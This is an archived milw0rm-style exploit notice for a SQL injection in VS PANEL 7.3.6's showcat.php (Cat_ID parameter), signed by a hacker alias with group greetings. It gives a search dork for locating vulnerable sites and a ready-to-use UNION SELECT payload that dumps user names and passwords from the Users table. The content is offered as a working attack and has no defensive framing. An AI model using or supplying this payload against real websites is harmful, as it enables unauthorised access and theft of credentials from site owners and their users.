VS PANEL 7.3.6 (Cat_ID) Remote SQL Injection Vulnerability

[+]-------------------------------------[+] [+] Homepage: http://www.vspanel.gr/ [+] Product: VS PANEL v.7.3.6 [+] File: showcat.php [+] Parameter: Cat_ID [+] Dork: "Powered by VS PANEL" [+]-------------------------------------[+] [+] SQL Injection: [+] showcat.php?Cat_ID=null+union+select+1,concat_ws(0x203a20,name,password)+from+Users-- [+]-------------------------------------[+] [+] Discovered by -=Player=- [+] http://NovuSec.com [+] http://Free-Hack.com [+]-------------------------------------[+] [+] Greetz to : [+] Lidloses_Auge, Suicide, enco, J0hn.X3r, Dexx, 2called-chaos, xant0x [+]-------------------------------------[+] # milw0rm.com [2009-04-21]